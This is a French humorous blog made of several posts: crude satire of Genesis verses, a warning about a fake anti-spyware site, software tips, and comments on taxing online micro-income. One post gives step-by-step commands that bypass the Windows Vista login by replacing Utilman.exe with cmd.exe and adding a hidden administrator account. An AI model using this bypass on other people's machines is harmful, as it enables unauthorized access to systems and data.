Savez-vous quelle est la signification de Babasse ?

Originellement, il s'agit d'un mot d'argot français qui désigne l'origine du monde, c'est à dire un sexe féminin. En argot, le sexe féminin est autrement appelé chaglatte, chatte, cramouille, frifri, moniche, moule, frichti, foufoune... La liste est longue.

Les informaticiens, fous amoureux de leurs machines, ont récupéré le terme babasse pour désigner ce qui se rapproche le plus d'un ordinateur personnel^[1]

Egalement, et sans doute par fond de mysoginie latent, les imprimantes lourdingues, encombrantes et/ou bruyantes ont aussi écopé du mot.

Genèse 4:17

Caïn connut sa femme; elle conçut, et enfanta Hénoc. Il bâtit ensuite une ville, et il donna à cette ville le nom de son fils Hénoc.

Alors là... Là ! On atteint des sommets, et nous n'en sommes qu'à la Genèse ! J'en bave d'avance.

Rappel des épisodes précédents : Dans Genèse 4:14, Caïn venait de trucider Abel (cf. Aberration n°18). Par conséquent, il ne restait qu'Adam et Eve, ses parents, et lui. Il ne restait donc que 3 personnes vivantes sur notre planète.

Au tout début de la Genèse, Dieu créa l'homme puis la femme. UN homme et UNE femme. Pas plus.

Charge à ces deux là, Adam et Eve, de peupler la terre (Genèse 1:28).

Alors... Elle sort de où cette rombière que croise Caïn ? A ce propos, je vous fait grâce de Genèse 4:18^[1], il y a un monde fou qui apparaît de nulle part.

Faut que je vous explique. J'étais tranquillement en train de naviguer de sites en sites, à la recherche de la perle rare qui me permettrait de rédiger un petit billet, quand je suis tombé sur un site qui me donne l'occasion de redonner ses lettres de noblesse à ma rubrique préférée (et trop longtemps négligée) : Le con du jour.

Le site en question se présente comme un anti-spyware, type ad-aware, fonctionnant sur le même principe que certains anti-virus distants (me demandez pas les noms, j'ai oublié).

Bref ! A peine chargé, une popup s'ouvre (bien que je sois sous firefox) me demandant si je veux procéder à un scan de mon disque. Je clique OK pour rigoler et le truc se lance. Il me trouve ça :

c'est à dire du trojan et du backdoor, t'en veux, t'en as. Il me propose même de les supprimer si j'accepte d'installer l'application.

Ben oui mais non. Pourquoi ? Tout simplement parce qu'il m'a scanné tout ce que windows compte de .dll et de .exe alors que je tourne sous... Linux.

Du coup, je me demande donc combien de novices se sont faits gauler par ce piège à cons et ont maintenant sur leur système un truc indémerdable qu'ils n'arriveront pas à dégager, sauf à tout reformater (on pense microsoft là, qu'on s'entende bien).

Le truc le plus idiot, c'est que les concepteurs de cette fumisterie n'ont même pas pris la peine de vérifier quel OS se pointait sur leur site de manière à éviter de passer pour des gros nazes.

Ca s'appelle InternetSecurityDeluxe, c'est une grosse merde, et ça n'arnaque que de 40 dollars pour 6 mois d'utilisation.

Genèse 4:16

Puis, Caïn s'éloigna de la face de l'Éternel, et habita dans la terre de Nod, à l'orient d'Éden.

Même problème qu'en aberration n°13. Caïn s'est enfui pour sa survie. Il s'est caché dans l'espoir que personne ne le retrouve.

Il n'est pas censé TOUT savoir et TOUT voir Dieu ?

C'était peut-être l'heure de la sieste (cf. Aberration n°9) ?

Faute de standard établi, les formats de fichiers se sont multipliés à l'envi ces dernières années. Chaque éditeur y est quasiment allé de son format ouvert ou propriétaire et devant l'offre pléthorique, soit les technologies n'ont pas toujours suivi, soit parti était pris de ne prendre en charge, pour un matériel donné, que quelques formats.

Ainsi, pour vous fournir un exemple, vous pouvez vous gratter sur une PSP pour lire autre chose que du MP4. Autre exemple, tous les walkmans n'acceptent pas le format .ogg.

En conséquence, à la récupération d'un fichier se pose souvent la question de la conversion dans le format correspondant au matériel que l'on possède. Il faut alors posséder plusieurs utilitaires de conversion.

Format Factory vous aide à résoudre ces petits tracas en proposant sous un même utilitaire une conversion TOUS formats (ou presque).

Grand avantage, il est disponible en 16 langues, dont le Français. Gros défaut, c'est un produit purement Microsoft Windows.

Sur ce dernier point, si quelqu'un a connaissance d'un produit similaire sous Linux, qu'il le fasse savoir.

Genèse 4:14

Caïn parle à Dieu :

Voici, tu me chasses aujourd'hui de cette terre; je serai caché loin de ta face, je serai errant et vagabond sur la terre, et quiconque me trouvera me tuera.

Tout le monde connait l'histoire. Abel a sacrifié une brebis de son troupeau à Dieu et Caïn, frère d'Abel, ne lui a offert que des fruits. Dieu préférant les sacrifices d'animaux - et holocaustes en général - a donné sa préférence à Abel. Caïn en a pris ombrage, il a tué son frère.

Il y a deux faits troublants dans ce passage :

Le premier est que Dieu semble avoir souhaité que l'homme soit végétarien (voir la citation biblique de l'aberration n°8) comme on peut supposer qu'il l'était lui même, car il ne faut pas oublier que Dieu a fait l'homme à son image, et le voici maintenant à conduire deux frères à s'entretuer, uniquement parce qu'il préfère la consommation d'un animal à celle de la végétation qu'il conseillait initialement comme alimentation. Soit. Hormis ce détail, ce Dieu ne se comporte que comme un petit Baron acceptant les offrandes et sacrifices de sa servitude. Quelle honte !

Le second point est que Abel et Caïn sont les fils d'Eve et d'Adam. Avant le meurtre, Il n'y avait donc, à cette époque, que 4 individus humains vivant sur la terre.

Moins 1, il nous en reste 3.

En conséquence, le "quiconque me trouvera me tuera" signifie simplement que Caïn ne pourrait être exécuté que par ses parents. Quelle famille ! (A moins qu'un autre Dieu que Dieu ne s'en charge)

Les 5 billets de fourre-tout les plus lus cette semaine :

1. Petite histoire et table périodique des éléments
2. Les marchés publics pour les nuls
3. Aberration biblique n°12
4. Accéder à Vista sans mot de passe
5. Trailer de Hancock

Genèse 3:22-24

L'Éternel Dieu dit: Voici, l'homme est devenu comme l'un de nous, pour la connaissance du bien et du mal. Empêchons-le maintenant d'avancer sa main, de prendre de l'arbre de vie, d'en manger, et de vivre éternellement.
Et l'Éternel Dieu le chassa du jardin d'Éden, pour qu'il cultivât la terre, d'où il avait été pris.
C'est ainsi qu'il chassa Adam; et il mit à l'orient du jardin d'Éden les chérubins qui agitent une épée flamboyante, pour garder le chemin de l'arbre de vie.

Outre la contradiction déjà soulevée en point n°10, à savoir Dieu qui se contredit sur la vie ou la mort apportée par l'absorption de la nourriture fournie par l'arbre de la connaissance, il y a un élément extrêmement important qu'il apparaît utile d'aborder suite à la lecture de "l'homme est devenu comme l'un de nous" :

C'est ce foutu NOUS ?!

Il y a combien de Dieux dans cette histoire, bordel ? Quelqu'un sait ?

Pour terminer l'après-midi, fourre-tout - qui ne recule devant aucun sacrifice - vous propose un petit jeu addictif.

La musique est limite aussi obsédante que celle du circuit du "monde des tout-petits" à DisneyLand, mais pris dans le truc, ça se laisse écouter.

Le but est de faire voler un nounours à parapluie le plus longtemps possible en évitant les canards sauvages. Pour régénérer votre capacité de coups de parapluie, posez vous sur les bus ou les voitures.

Ca s'appelle Orisinal, ça se lance en cliquant ici ou sur l'image ci-dessus.

J'ai fait un 22840 avant d'abandonner. Et vous ?

Genèse 3:21

L'Éternel Dieu fit à Adam et à sa femme des habits de peau, et il les en revêtit.

Il n'est pas chien, le Dieu !

Pensez. Il affame d'abord son monde (cf aberration n°15), puis il bute une partie des animaux qu'il vient de créer - qui au passage n'ont pas eu le temps de se reproduire - pour vêtir les êtres qu'il vient de chasser du jardin d'Eden.

A sa place, tant qu'à être inconséquent, j'aurais lourdé les deux gugus et j'aurais laissé les bestioles où elles étaient. Parce qu'après tout, c'est l'ensemble de la création qui a morflé pour le petit morceau de pomme.

Vous la trouvez logique, vous, la punition collective ?^[1]

Le pouvoir d'achat est au centre des débats depuis plus d'un an maintenant. Alors qu'il aurait dû augmenter, il ne fait que baisser.

Pour combler les pertes, beaucoup d'entre nous ont pris le parti de revendre leurs biens après consommation tels les livres et les jeux. Nous n’en tirons pas de revenus énormes mais ça permet de racheter d'autres choses à moindre coût.

Grâce à cette méthode, et pour reprendre l'exemple, un jeu ne coûte plus que 20 à 30 euros, compte tenu du fond de roulement, au lieu des 60 à 75 euros habituels. C'est acceptable et ça évite en même temps de jouer les pirates en le pompant sur une quelconque plateforme de P2P.

Ce genre de revenus est nommé micro-revenus.

Des petits malins ont eu l'idée de faire en sorte que les quelques euros économisés chaque mois soient assimilés à un 13è mois, incluant au passage les subsides tirés de la publicité sur sites/blogs par les particuliers.

Forcèment, en pensant à ces rentrées d'argent - qui ne sont finalement que des retours - comme revenus salariaux, il n'y avait qu'un pas pour leur associer les taxes idoines.

Banco !

Comme le décrit l'article de clubsenat.fr, ces revenus ont dorénavant de grandes chances d'être taxés. Et à 13% encore !

La manne semble être prometteuse si l'on en croit les perspectives annoncées par ce graphe :

L’argument principal avancé est, je cite :

Pourquoi devoir créer une structure juridique quand on ne gagne que quelques euros par mois sur le net ? Ce ne sont que des revenus additionnels et ces personnes ont déjà un statut. Notre rôle est simplement de leur faciliter la vie. Un système de taxation au moment de la transaction permettrait de connaître son prix de vente, de régler ses charges fiscales et sociales sans risque d'un redressement ou de travail dissimulé. C'est gagnant pour tous.

Gagnant pour le fisc mais sûrement pas pour les consommateurs. Exemple :

Achetons un jeu neuf à 60 euros. La TVA est de 19.6%, soit 11.76 euros.
Terminons le jeu, et revendons le. Comme il est difficile de faire plus cher que les grandes enseignes de type Micromania qui le vendent déjà d’occasion, et qu’il faut tenir compte des frais de transport (3.30 euros), revendons le jeu à 35 euros.
A la vente, laissons notre ecot au site de vente qui prend sa commission sur les 38.30 euros (35 + 3.30)… 30 centimes de moins.
Puis encaissons nos 35 euros taxés à la source de 13%, soit 30.45 euros (4.55 euros de taxes).
Au final, nous avons craché au bassinet 16.61 euros de taxes, ce qui correspond à une imposition totale de 27.68% sur un bien de consommation courant. Ca commence à faire cher.

A n’en pas douter… aheum… cette nouvelle mesure va favoriser la création et nous redorer le porte-monnaie.

Vous en pensez quoi, vous ?

Tout d'abord, chargez Backtrack et gravez le.

Bootez ensuite sur le liveCD fraichement gravé puis ouvrez une console.

Ensuite, faites :

$ cd /mnt 
$ ls (pour la liste des volumes disponibles)
$ cd sda1 (c'est en principe votre disque principal) 
$ cd Windows/ 
$ cd System32/ 
$ mv Utilman.exe Utilman.old 
$ cp cmd.exe Utilman.exe 
$ reboot

et attendez que ça reboote.

Une fois votre PC redémarré (Pensez à retirer le liveCD du lecteur pour ne pas rebooter dessus), à l'invite de log Vista, faites TOUCHE WINDOWS+U. Ca vous ouvrira l'invite de commande avec les privilèges administrateur.

Là, tapez (avec appuie sur la touche ''Entree" à chaque fin de ligne) :

c:\>net user S00perAdmin pipicaca /add
c:\>net localgroup administrators S00perAdmin /add

NB : 'pipicaca' est votre mot de passe, vous pouvez mettre ce que vous voulez.

Pour terminer, rebootez votre machine et logguez vous avec votre nouveau compte admin

Genèse 3:17-18

Il dit à l'homme: Puisque tu as écouté la voix de ta femme, et que tu as mangé de l'arbre au sujet duquel je t'avais donné cet ordre: Tu n'en mangeras point! Le sol sera maudit à cause de toi. C'est à force de peine que tu en tireras ta nourriture tous les jours de ta vie, il te produira des épines et des ronces, et tu mangeras de l'herbe des champs.

Si l'on en croit ce passage, Dieu avait créé toute la végétation mais avait oublié les ronces et les épines. Quid du cycle naturel ? Des plantes étaient sans défense, des roses aux tiges lisses, des cactus nus. Toute la végétation comestible.

Comme je ne suis plus à un blasphème près, j'ai envie de dire... Miraculeux !

En novembre 2005, fourre-tout vous informait, mesdames, de la nouvelle possibilité qui vous était offerte de pouvoir enfin pisser debout sans vous en mettre partout.

Révolutionnaire, le p-mate se présentait comme un appendice cartonné pliable et facilement positionnable, mais de peu d'utilisations, puisqu'en carton.

Depuis, la pipilogie féminine a fait de grands progrès notamment avec l'avènement du whizbiz.

Kézako le whizbiz ?

Eh bien, le whizbiz c'est comme le p-mate mais c'est en plastique. Il existe en deux longueur, 10 et 20 cm. Pratique ! Comme ça, en plus de pouvoir vous lancer, mesdames, dans le concours du "celui qui fait le pipi le plus loin" avec votre compagnon, vous pourrez en plus faire des concours de celui qui a la plus longue.

Ahhh ! Vivement les godes ceintures whizbiz pour drag-kings !

Genèse 3:14

L'Éternel Dieu dit au serpent: Puisque tu as fait cela, tu seras maudit entre tout le bétail et entre tous les animaux des champs, tu marcheras sur ton ventre, et tu mangeras de la poussière tous les jours de ta vie.

Euh... quelqu'un a une idée de ce à quoi pouvait bien ressembler un serpent avant ça ? C'était flêche bleue, l'ami écolo ?

Tant qu'on y est, quelqu'un a-t-il déjà vu un serpent manger de la poussière ?

Si vous avez ne serait-ce que la queue d'une réponse, je suis preneur.